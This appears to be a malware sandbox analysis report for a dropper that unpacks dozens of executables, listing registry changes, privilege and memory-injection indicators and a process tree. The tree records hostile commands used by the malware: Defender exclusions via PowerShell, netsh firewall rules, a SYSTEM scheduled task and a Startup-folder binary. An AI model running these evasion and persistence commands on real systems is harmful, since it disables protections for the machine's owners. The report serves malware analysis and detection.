Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Classes\Local Settings\MuiCache	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
568	powershell.exe
568	powershell.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe
1256	Sun15dbd675f871ca.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3212	Process not Found

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
5800	oVbCA6Ocv_bmi86kIF6_X9ud.exe
6696	CF86.exe

Suspicious behavior: SetClipboardViewer 1 IoCs

pid	Process
5720	7581533.scr

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeSystemtimePrivilege	4608	svchost.exe
Token: SeSystemtimePrivilege	4608	svchost.exe
Token: SeIncBasePriorityPrivilege	4608	svchost.exe
Token: SeShutdownPrivilege	4892	svchost.exe
Token: SeCreatePagefilePrivilege	4892	svchost.exe
Token: SeShutdownPrivilege	4892	svchost.exe
Token: SeCreatePagefilePrivilege	4892	svchost.exe
Token: SeShutdownPrivilege	4892	svchost.exe
Token: SeCreatePagefilePrivilege	4892	svchost.exe
Token: SeShutdownPrivilege	3592	svchost.exe
Token: SeCreatePagefilePrivilege	3592	svchost.exe
Token: SeTakeOwnershipPrivilege	4064	WaaSMedicAgent.exe
Token: SeSecurityPrivilege	4064	WaaSMedicAgent.exe
Token: SeRestorePrivilege	4064	WaaSMedicAgent.exe
Token: SeBackupPrivilege	4064	WaaSMedicAgent.exe
Token: SeCreateTokenPrivilege	3156	Sun15901f2f025e.exe
Token: SeAssignPrimaryTokenPrivilege	3156	Sun15901f2f025e.exe
Token: SeLockMemoryPrivilege	3156	Sun15901f2f025e.exe
Token: SeIncreaseQuotaPrivilege	3156	Sun15901f2f025e.exe
Token: SeMachineAccountPrivilege	3156	Sun15901f2f025e.exe
Token: SeTcbPrivilege	3156	Sun15901f2f025e.exe
Token: SeSecurityPrivilege	3156	Sun15901f2f025e.exe
Token: SeTakeOwnershipPrivilege	3156	Sun15901f2f025e.exe
Token: SeLoadDriverPrivilege	3156	Sun15901f2f025e.exe
Token: SeSystemProfilePrivilege	3156	Sun15901f2f025e.exe
Token: SeSystemtimePrivilege	3156	Sun15901f2f025e.exe
Token: SeProfSingleProcessPrivilege	3156	Sun15901f2f025e.exe
Token: SeIncBasePriorityPrivilege	3156	Sun15901f2f025e.exe
Token: SeCreatePagefilePrivilege	3156	Sun15901f2f025e.exe
Token: SeCreatePermanentPrivilege	3156	Sun15901f2f025e.exe
Token: SeBackupPrivilege	3156	Sun15901f2f025e.exe
Token: SeRestorePrivilege	3156	Sun15901f2f025e.exe
Token: SeShutdownPrivilege	3156	Sun15901f2f025e.exe
Token: SeDebugPrivilege	3156	Sun15901f2f025e.exe
Token: SeAuditPrivilege	3156	Sun15901f2f025e.exe
Token: SeSystemEnvironmentPrivilege	3156	Sun15901f2f025e.exe
Token: SeChangeNotifyPrivilege	3156	Sun15901f2f025e.exe
Token: SeRemoteShutdownPrivilege	3156	Sun15901f2f025e.exe
Token: SeUndockPrivilege	3156	Sun15901f2f025e.exe
Token: SeSyncAgentPrivilege	3156	Sun15901f2f025e.exe
Token: SeEnableDelegationPrivilege	3156	Sun15901f2f025e.exe
Token: SeManageVolumePrivilege	3156	Sun15901f2f025e.exe
Token: SeImpersonatePrivilege	3156	Sun15901f2f025e.exe
Token: SeCreateGlobalPrivilege	3156	Sun15901f2f025e.exe
Token: 31	3156	Sun15901f2f025e.exe
Token: 32	3156	Sun15901f2f025e.exe
Token: 33	3156	Sun15901f2f025e.exe
Token: 34	3156	Sun15901f2f025e.exe
Token: 35	3156	Sun15901f2f025e.exe
Token: SeDebugPrivilege	568	powershell.exe
Token: SeDebugPrivilege	2008	Sun15f67075f27a2b5b.exe
Token: SeDebugPrivilege	1548	Sun152e52d07b74d9b5.exe
Token: SeRestorePrivilege	4516	WerFault.exe
Token: SeBackupPrivilege	4516	WerFault.exe
Token: SeBackupPrivilege	4516	WerFault.exe
Token: SeRestorePrivilege	4516	WerFault.exe
Token: SeBackupPrivilege	4516	WerFault.exe
Token: SeRestorePrivilege	4516	WerFault.exe
Token: SeBackupPrivilege	4516	WerFault.exe
Token: SeBackupPrivilege	4516	WerFault.exe
Token: SeDebugPrivilege	5092	5463742.scr
Token: SeDebugPrivilege	5372	taskkill.exe
Token: SeCreateTokenPrivilege	5628	1upnME8VKubWhyIPkgUiZRnZ.exe
Token: SeAssignPrimaryTokenPrivilege	5628	1upnME8VKubWhyIPkgUiZRnZ.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4012 wrote to memory of 1248	4012	setup_x86_x64_install.exe	86
PID 4012 wrote to memory of 1248	4012	setup_x86_x64_install.exe	86
PID 4012 wrote to memory of 1248	4012	setup_x86_x64_install.exe	86
PID 1248 wrote to memory of 1280	1248	setup_installer.exe	87
PID 1248 wrote to memory of 1280	1248	setup_installer.exe	87
PID 1248 wrote to memory of 1280	1248	setup_installer.exe	87
PID 3592 wrote to memory of 2376	3592	svchost.exe	89
PID 3592 wrote to memory of 2376	3592	svchost.exe	89
PID 1280 wrote to memory of 5108	1280	setup_install.exe	98
PID 1280 wrote to memory of 5108	1280	setup_install.exe	98
PID 1280 wrote to memory of 5108	1280	setup_install.exe	98
PID 1280 wrote to memory of 4964	1280	setup_install.exe	99
PID 1280 wrote to memory of 4964	1280	setup_install.exe	99
PID 1280 wrote to memory of 4964	1280	setup_install.exe	99
PID 1280 wrote to memory of 3900	1280	setup_install.exe	100
PID 1280 wrote to memory of 3900	1280	setup_install.exe	100
PID 1280 wrote to memory of 3900	1280	setup_install.exe	100
PID 1280 wrote to memory of 3256	1280	setup_install.exe	101
PID 1280 wrote to memory of 3256	1280	setup_install.exe	101
PID 1280 wrote to memory of 3256	1280	setup_install.exe	101
PID 1280 wrote to memory of 1116	1280	setup_install.exe	102
PID 1280 wrote to memory of 1116	1280	setup_install.exe	102
PID 1280 wrote to memory of 1116	1280	setup_install.exe	102
PID 1280 wrote to memory of 5044	1280	setup_install.exe	103
PID 1280 wrote to memory of 5044	1280	setup_install.exe	103
PID 1280 wrote to memory of 5044	1280	setup_install.exe	103
PID 1280 wrote to memory of 4760	1280	setup_install.exe	122
PID 1280 wrote to memory of 4760	1280	setup_install.exe	122
PID 1280 wrote to memory of 4760	1280	setup_install.exe	122
PID 5108 wrote to memory of 568	5108	cmd.exe	121
PID 5108 wrote to memory of 568	5108	cmd.exe	121
PID 5108 wrote to memory of 568	5108	cmd.exe	121
PID 4964 wrote to memory of 2948	4964	cmd.exe	120
PID 4964 wrote to memory of 2948	4964	cmd.exe	120
PID 4964 wrote to memory of 2948	4964	cmd.exe	120
PID 1280 wrote to memory of 3428	1280	setup_install.exe	104
PID 1280 wrote to memory of 3428	1280	setup_install.exe	104
PID 1280 wrote to memory of 3428	1280	setup_install.exe	104
PID 3256 wrote to memory of 1256	3256	cmd.exe	119
PID 3256 wrote to memory of 1256	3256	cmd.exe	119
PID 3256 wrote to memory of 1256	3256	cmd.exe	119
PID 3900 wrote to memory of 3156	3900	cmd.exe	118
PID 3900 wrote to memory of 3156	3900	cmd.exe	118
PID 3900 wrote to memory of 3156	3900	cmd.exe	118
PID 1280 wrote to memory of 2876	1280	setup_install.exe	117
PID 1280 wrote to memory of 2876	1280	setup_install.exe	117
PID 1280 wrote to memory of 2876	1280	setup_install.exe	117
PID 1280 wrote to memory of 3064	1280	setup_install.exe	105
PID 1280 wrote to memory of 3064	1280	setup_install.exe	105
PID 1280 wrote to memory of 3064	1280	setup_install.exe	105
PID 1280 wrote to memory of 660	1280	setup_install.exe	116
PID 1280 wrote to memory of 660	1280	setup_install.exe	116
PID 1280 wrote to memory of 660	1280	setup_install.exe	116
PID 1280 wrote to memory of 3352	1280	setup_install.exe	115
PID 1280 wrote to memory of 3352	1280	setup_install.exe	115
PID 1280 wrote to memory of 3352	1280	setup_install.exe	115
PID 1116 wrote to memory of 2008	1116	cmd.exe	106
PID 1116 wrote to memory of 2008	1116	cmd.exe	106
PID 4760 wrote to memory of 420	4760	cmd.exe	113
PID 4760 wrote to memory of 420	4760	cmd.exe	113
PID 4760 wrote to memory of 420	4760	cmd.exe	113
PID 3428 wrote to memory of 1988	3428	cmd.exe	107
PID 3428 wrote to memory of 1988	3428	cmd.exe	107
PID 3428 wrote to memory of 1988	3428	cmd.exe	107

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4012
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1248
- - C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:1280
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5108
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:568
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun152bab5a2de.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4964
    - - C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\Sun152bab5a2de.exe
        
        Sun152bab5a2de.exe
        5⤵
        Executes dropped EXE
        
        PID:2948
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun15901f2f025e.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3900
    - - C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\Sun15901f2f025e.exe
        
        Sun15901f2f025e.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3156
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3156 -s 1388
        6⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5316
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun15dbd675f871ca.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3256
    - - C:\Users\Admin\AppData\Local\Temp\7zS0E4055F3\Sun15dbd675f871ca.exe
        
        Sun15dbd675f871ca.exe
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:1256
      - C:\Users\Admin\Pictures\Adobe Films\BT6q4LmjoI4O_fTuCtwy_Jhk.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\BT6q4LmjoI4O_fTuCtwy_Jhk.exe"
        6⤵
        Executes dropped EXE
        
        PID:1888
      - C:\Users\Admin\Pictures\Adobe Films\G9qMoQFOFYl5YC3VO2pFQcFq.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\G9qMoQFOFYl5YC3VO2pFQcFq.exe"
        6⤵
        Executes dropped EXE
        Drops file in Program Files directory
        
        PID:4488
        
        C:\Program Files (x86)\Company\NewProduct\cm3.exe
        
        "C:\Program Files (x86)\Company\NewProduct\cm3.exe"
        7⤵
        Executes dropped EXE
        
        PID:4672
        
        C:\Program Files (x86)\Company\NewProduct\inst3.exe
        
        "C:\Program Files (x86)\Company\NewProduct\inst3.exe"
        7⤵
        Executes dropped EXE
        
        PID:2580
        
        C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe
        
        "C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe"
        7⤵
        Executes dropped EXE
        
        PID:3656
      - C:\Users\Admin\Pictures\Adobe Films\HGAQNXOo9NMXs9AAUMcNhYST.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\HGAQNXOo9NMXs9AAUMcNhYST.exe"
        6⤵
        Executes dropped EXE
        
        PID:6120
        
        C:\ProgramData\build.exe
        
        "C:\ProgramData\build.exe"
        7⤵
        Executes dropped EXE
        
        PID:2084
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2084 -s 1704
        8⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:3144
      - C:\Users\Admin\Pictures\Adobe Films\12yiqSy2I1ZXOGX6sfVWTHM5.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\12yiqSy2I1ZXOGX6sfVWTHM5.exe"
        6⤵
        Executes dropped EXE
        
        PID:6108
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6108 -s 276
        7⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:4196
      - C:\Users\Admin\Pictures\Adobe Films\pPkWxNCLoiE1aFnlwiFAYPR2.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\pPkWxNCLoiE1aFnlwiFAYPR2.exe"
        6⤵
        Executes dropped EXE
        
        PID:6096
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6096 -s 300
        7⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:3188
      - C:\Users\Admin\Pictures\Adobe Films\bCaZvnb0_PKf8lgD5M4Feizb.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\bCaZvnb0_PKf8lgD5M4Feizb.exe"
        6⤵
        Executes dropped EXE
        
        PID:5320
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5320 -s 296
        7⤵
        Program crash
        
        PID:1044
      - C:\Users\Admin\Pictures\Adobe Films\UH2rCx39mDnQ4ob77sW4j7b0.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\UH2rCx39mDnQ4ob77sW4j7b0.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5388
      - C:\Users\Admin\Pictures\Adobe Films\AQht4XZ6hHCr7UMLUDIpl7hg.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\AQht4XZ6hHCr7UMLUDIpl7hg.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:5384
        
        C:\Users\Admin\Pictures\Adobe Films\AQht4XZ6hHCr7UMLUDIpl7hg.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\AQht4XZ6hHCr7UMLUDIpl7hg.exe"
        7⤵
        
        PID:5920
        
        C:\Users\Admin\Pictures\Adobe Films\AQht4XZ6hHCr7UMLUDIpl7hg.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\AQht4XZ6hHCr7UMLUDIpl7hg.exe"
        7⤵
        Executes dropped EXE
        
        PID:6008
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5384 -s 1992
        7⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:3308
      - C:\Users\Admin\Pictures\Adobe Films\oVbCA6Ocv_bmi86kIF6_X9ud.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\oVbCA6Ocv_bmi86kIF6_X9ud.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:5348
        
        C:\Users\Admin\Pictures\Adobe Films\oVbCA6Ocv_bmi86kIF6_X9ud.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\oVbCA6Ocv_bmi86kIF6_X9ud.exe"
        7⤵
        Executes dropped EXE
        Checks SCSI registry key(s)
        Suspicious behavior: MapViewOfSection
        
        PID:5800
      - C:\Users\Admin\Pictures\Adobe Films\_eTbCCSBTc5Eh0p4iNwop2Al.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\_eTbCCSBTc5Eh0p4iNwop2Al.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:5292
        
        C:\Users\Admin\Pictures\Adobe Films\_eTbCCSBTc5Eh0p4iNwop2Al.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\_eTbCCSBTc5Eh0p4iNwop2Al.exe"
        7⤵
        Executes dropped EXE
        
        PID:3572
      - C:\Users\Admin\Pictures\Adobe Films\0P7C901GxxrrCq6G9SXjVMo8.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\0P7C901GxxrrCq6G9SXjVMo8.exe"
        6⤵
        Suspicious use of NtCreateProcessExOtherParentProcess
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:4400
      - C:\Users\Admin\Pictures\Adobe Films\AIuXWgSVwp4YhHmVIH4g9F9O.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\AIuXWgSVwp4YhHmVIH4g9F9O.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:4220
      - C:\Users\Admin\Pictures\Adobe Films\vDFvTSLkY9KHF5YR8kBa437o.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\vDFvTSLkY9KHF5YR8kBa437o.exe"
        6⤵
        Suspicious use of NtCreateProcessExOtherParentProcess
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1248
      - C:\Users\Admin\Pictures\Adobe Films\Ul74UKBPgSuoE2iRtoDoiQHh.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\Ul74UKBPgSuoE2iRtoDoiQHh.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:3292
      - C:\Users\Admin\Pictures\Adobe Films\1upnME8VKubWhyIPkgUiZRnZ.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\1upnME8VKubWhyIPkgUiZRnZ.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:5628
      - C:\Users\Admin\Pictures\Adobe Films\HWjxM3dCEWl570a_F1qlhUQg.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\HWjxM3dCEWl570a_F1qlhUQg.exe"
        6⤵
        Executes dropped EXE
        
        PID:2068
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2068 -s 276
        7⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5984
      - C:\Users\Admin\Pictures\Adobe Films\SUMfEn8MafuT5kK3l65hD4on.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\SUMfEn8MafuT5kK3l65hD4on.exe"
        6⤵
        Executes dropped EXE
        
        PID:5584
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5584 -s 268
        7⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:1416
      - C:\Users\Admin\Pictures\Adobe Films\L1xBLrpHoi38lGdLr42hdtwZ.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\L1xBLrpHoi38lGdLr42hdtwZ.exe"
        6⤵
        
        PID:5612
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MjpFiZVjH.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MjpFiZVjH.exe"
        7⤵
        Executes dropped EXE
        Drops file in Windows directory
        
        PID:1492
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
        8⤵
        Blocklisted process makes network request
        
        PID:3156
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
        8⤵
        
        PID:4264
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM
        8⤵
        Creates scheduled task(s)
        
        PID:3792
        
        C:\Windows\System\svchost.exe
        
        "C:\Windows\System\svchost.exe" formal
        8⤵
        Executes dropped EXE
        Drops file in Windows directory
        
        PID:2568
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
        9⤵
        
        PID:1512
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
        9⤵
        
        PID:5744
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        10⤵
        
        PID:3996
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
        9⤵
        
        PID:3876
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
        8⤵
        
        PID:5136
      - C:\Users\Admin\Pictures\Adobe Films\MKvtYprW318KERPOI1r8Qw1E.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\MKvtYprW318KERPOI1r8Qw1E.exe"
        6⤵
        Executes dropped EXE
        
        PID:1716
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1716 -s 280
        7⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5676
      - C:\Users\Admin\Pictures\Adobe Films\fgrvOfrN7tEJnXVEHb2QBTV7.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\fgrvOfrN7tEJnXVEHb2QBTV7.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5468
      - C:\Users\Admin\Pictures\Adobe Films\Wil0Z1Zqys1gJpqgCgyQbvpw.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\Wil0Z1Zqys1gJpqgCgyQbvpw.exe"
        6⤵
        Executes dropped EXE
        
        PID:5408
      - C:\Users\Admin\Pictures\Adobe Films\Sb74EPqynGoxybhHjOZA6Ef4.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\Sb74EPqynGoxybhHjOZA6Ef4.exe"
        6⤵
        Executes dropped EXE
        
        PID:4376
        
        C:\Users\Admin\AppData\Roaming\8776506.scr
        
        "C:\Users\Admin\AppData\Roaming\8776506.scr" /S
        7⤵
        Executes dropped EXE
        
        PID:1324
        
        C:\Users\Admin\AppData\Roaming\7581533.scr
        
        "C:\Users\Admin\AppData\Roaming\7581533.scr" /S
        7⤵
        Executes dropped EXE
        Suspicious behavior: SetClipboardViewer
        
        PID:5720
        
        C:\Users\Admin\AppData\Roaming\4415324.scr
        
        "C:\Users\Admin\AppData\Roaming\4415324.scr" /S
        7⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:3908
        
        C:\Users\Admin\AppData\Roaming\2252731.scr
        
        "C:\Users\Admin\AppData\Roaming\2252731.scr" /S
        7⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5528
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:1200
        
        C:\Users\Admin\AppData\Roaming\4957603.scr
        
        "C:\Users\Admin\AppData\Roaming\4957603.scr" /S
        7⤵
        Executes dropped EXE
        
        PID:5700
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        Executes dropped EXE
        
        PID:5920
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun15f67075f27a2b5b.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1116
